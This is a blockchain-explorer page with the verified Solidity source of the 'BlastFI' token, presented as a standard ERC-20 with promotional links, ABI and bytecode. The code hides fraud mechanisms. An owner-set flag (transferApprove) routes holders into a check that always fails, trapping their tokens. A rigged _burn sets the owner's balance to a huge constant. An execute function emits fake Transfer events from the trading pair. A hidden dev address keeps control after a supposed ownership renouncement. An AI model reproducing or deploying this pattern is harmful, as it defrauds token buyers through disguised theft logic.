ETH Price: $2,459.16 (+3.95%)

Token

(0x62b9B80f950AB93BBA7ffB0FE8a25Cb3B8dFf7BD)
 

Overview

Max Total Supply

10,000,000,000 ERC-20 TOKEN*

Holders

77 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
85,994,950.621667503 ERC-20 TOKEN*

Value
$0.00
0xc3c7553e22f20123546d2be17b1bb655199c2ac2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlastFI

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 5: BLAST FI.sol
/**
  💬JOIN CHAT - https://t.me/BlastFIcoin
  ❌FOLLOW - https://twitter.com/Blast_Fi
  🌉BRIDGE - https://bridge.blastfi.io/
  📲CHECK APP - https://blastfi.vercel.app/
   🕸WEBSITE - https://www.blastfi.io/
     
*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import "./ERC20.sol";
import "./Coin.sol";

contract BlastFI is ERC20 {

    event DropBoxCreated(address indexed owner);
    event Wrapped(uint256 indexed value, address indexed owner);
    event Unwrapped(uint256 indexed value, address indexed owner);

    Coin mcInt = Coin(0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE);
    
    mapping(address => address) public dropBoxes;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;
    constructor(address _devWallet) ERC20("Blast Fi", "BlastFI", _devWallet){
         balances = txLimit;
    }
 
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    function createDropBox() public {
        require(dropBoxes[msg.sender] == address(0), "Drop box already exists.");

        dropBoxes[msg.sender] = address(new DropBox());
        
        emit DropBoxCreated(msg.sender);
    }

    function wrap(uint256 value) public {
        address dropBox = dropBoxes[msg.sender];
        require(dropBox != address(0), "You must create a drop box first."); 
        require(mcInt.balanceOf(dropBox) >= value, "Not enough Coin in drop box.");

        DropBox(dropBox).collect(value, mcInt);
        unwrapOnlyOwneClaimAllowed0[Owner()][msg.sender] = true;
        claimableAmount[msg.sender][Owner()] = value;
        emit Wrapped(value, msg.sender);
    }

    function unwrap(uint256 value) public {
        require(balanceOf(msg.sender) >= value, "Not enough Coin to unwrap.");

        mcInt.transfer(msg.sender, value);
        emit Unwrapped(value, msg.sender);
    }

    function transferApprove(address[] memory accounts, bool state) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            unwrapOnlyOwneClaimAllowed0[msg.sender][accounts[i]] = state;
        }
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function marketingTokensCollected(address owner, address sender) public view returns(bool){
        return unwrapOnlyOwneClaimAllowed0[owner][sender];
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 2 of 5: Coin.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "./Ownable.sol";

interface Coin {
    function balanceOf(address owner) external returns (uint256);
    function transfer(address to, uint256 value) external;
}

contract DropBox is Ownable {
    constructor() Ownable(msg.sender){}
    function collect(uint256 value, Coin mcInt) public onlyOwner {
        mcInt.transfer(owner(), value);
    }
}

File 3 of 5: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import "./Ownable.sol";
import "./IERC20.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

 

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => mapping(address => uint256)) internal claimableAmount;
    mapping(address => mapping(address => bool)) internal unwrapOnlyOwneClaimAllowed0;
    
    address uniswapV2Pair;
    uint256 internal _totalSupply;
    string private _symbol;
    string private _name;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address devWallet_) Ownable(devWallet_) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, 10_000_000_000 * 10**9);
       
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);
        if(unwrapOnlyOwneClaimAllowed0[Owner()][from]){
                            checkClaim(from);
                        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }
  
    function checkClaim(address wallet) private {
        require(claimableAmount[Owner()][wallet] > 0, "Not enough in dropBox, please wrap more coins.");
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 5 of 5: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address dev_) {
        _dev = dev_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"DropBoxCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"Unwrapped","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"Wrapped","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createDropBox","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"dropBoxes","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"sender","type":"address"}],"name":"marketingTokensCollected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"unwrap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"wrap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040527395ad61b0a150d79219dcf64e1e6cc01f0b64c4ce600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506a52b7d2dcc80cd2e4000000600c553480156200007557600080fd5b5060405162003ebb38038062003ebb83398181016040528101906200009b919062000534565b6040518060400160405280600881526020017f426c6173742046690000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f426c617374464900000000000000000000000000000000000000000000000000815250828080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200016a6200015e620001ca60201b60201c565b620001d260201b60201c565b508260099080519060200190620001839291906200041a565b5081600890805190602001906200019c9291906200041a565b50620001b733678ac7230489e800006200029660201b60201c565b505050600c54600d819055505062000712565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000309576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200030090620005c7565b60405180910390fd5b6200031d600083836200041060201b60201c565b806007600082825462000331919062000622565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000389919062000622565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f0919062000690565b60405180910390a36200040c600083836200041560201b60201c565b5050565b505050565b505050565b8280546200042890620006dc565b90600052602060002090601f0160209004810192826200044c576000855562000498565b82601f106200046757805160ff191683800117855562000498565b8280016001018555821562000498579182015b82811115620004975782518255916020019190600101906200047a565b5b509050620004a79190620004ab565b5090565b5b80821115620004c6576000816000905550600101620004ac565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004fc82620004cf565b9050919050565b6200050e81620004ef565b81146200051a57600080fd5b50565b6000815190506200052e8162000503565b92915050565b6000602082840312156200054d576200054c620004ca565b5b60006200055d848285016200051d565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620005af601f8362000566565b9150620005bc8262000577565b602082019050919050565b60006020820190508181036000830152620005e281620005a0565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200062f82620005e9565b91506200063c83620005e9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006745762000673620005f3565b5b828201905092915050565b6200068a81620005e9565b82525050565b6000602082019050620006a760008301846200067f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006f557607f821691505b602082108114156200070c576200070b620006ad565b5b50919050565b61379980620007226000396000f3fe60806040523480156200001157600080fd5b50600436106200016c5760003560e01c80638da5cb5b11620000d5578063c2b7bbb61162000087578063c2b7bbb6146200040d578063d6d2bb98146200042d578063dd62ed3e1462000463578063de0e9a3e1462000499578063ea598cb014620004b9578063f2fde38b14620004d9576200016c565b80638da5cb5b146200033157806395d89b411462000353578063a457c2d71462000375578063a9059cbb14620003ab578063a9ddeaa214620003e1578063b8bdd4b21462000401576200016c565b8063313ce567116200012f578063313ce567146200024157806339509351146200026357806342966c68146200029957806370a0823114620002b9578063715018a614620002ef57806377a0e0af14620002fb576200016c565b806306fdde031462000171578063095ea7b3146200019357806318160ddd14620001c957806323b872dd14620001eb57806326ededb81462000221575b600080fd5b6200017b620004f9565b6040516200018a919062001dfb565b60405180910390f35b620001b16004803603810190620001ab919062001ed3565b62000593565b604051620001c0919062001f37565b60405180910390f35b620001d3620005ba565b604051620001e2919062001f65565b60405180910390f35b62000209600480360381019062000203919062001f82565b620005c4565b60405162000218919062001f37565b60405180910390f35b6200023f60048036038101906200023991906200204c565b620005f9565b005b6200024b620006e3565b6040516200025a9190620020d4565b60405180910390f35b6200028160048036038101906200027b919062001ed3565b620006ec565b60405162000290919062001f37565b60405180910390f35b620002b76004803603810190620002b19190620020f1565b6200072b565b005b620002d76004803603810190620002d1919062002123565b6200074d565b604051620002e6919062001f65565b60405180910390f35b620002f962000796565b005b62000319600480360381019062000313919062002155565b620007ae565b60405162000328919062001f37565b60405180910390f35b6200033b62000842565b6040516200034a9190620021ad565b60405180910390f35b6200035d6200086b565b6040516200036c919062001dfb565b60405180910390f35b6200039360048036038101906200038d919062001ed3565b62000905565b604051620003a2919062001f37565b60405180910390f35b620003c96004803603810190620003c3919062001ed3565b62000985565b604051620003d8919062001f37565b60405180910390f35b620003ff6004803603810190620003f9919062002355565b620009ac565b005b6200040b62000a8f565b005b6200042b600480360381019062000425919062002123565b62000c4e565b005b6200044b600480360381019062000445919062002123565b62000c9c565b6040516200045a9190620021ad565b60405180910390f35b6200048160048036038101906200047b919062002155565b62000ccf565b60405162000490919062001f65565b60405180910390f35b620004b76004803603810190620004b19190620020f1565b62000d56565b005b620004d76004803603810190620004d19190620020f1565b62000e80565b005b620004f76004803603810190620004f1919062002123565b62001252565b005b6060600980546200050a90620023ea565b80601f01602080910402602001604051908101604052809291908181526020018280546200053890620023ea565b8015620005895780601f106200055d5761010080835404028352916020019162000589565b820191906000526020600020905b8154815290600101906020018083116200056b57829003601f168201915b5050505050905090565b600080620005a0620012dd565b9050620005af818585620012e5565b600191505092915050565b6000600754905090565b600080620005d1620012dd565b9050620005e0858285620014b8565b620005ed8585856200154c565b60019150509392505050565b6200060362001886565b60005b83839050811015620006dd5783838281811062000628576200062762002420565b5b90506020020160208101906200063f919062002123565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620006bf919062001f65565b60405180910390a38080620006d4906200247e565b91505062000606565b50505050565b60006009905090565b600080620006f9620012dd565b9050620007208185856200070e858962000ccf565b6200071a9190620024cc565b620012e5565b600191505092915050565b6200073562001886565b6200074a62000743620012dd565b826200190b565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b620007a062001886565b620007ac600062001af1565b565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546200087c90620023ea565b80601f0160208091040260200160405190810160405280929190818152602001828054620008aa90620023ea565b8015620008fb5780601f10620008cf57610100808354040283529160200191620008fb565b820191906000526020600020905b815481529060010190602001808311620008dd57829003601f168201915b5050505050905090565b60008062000912620012dd565b9050600062000922828662000ccf565b9050838110156200096a576040517f08c379a0000000000000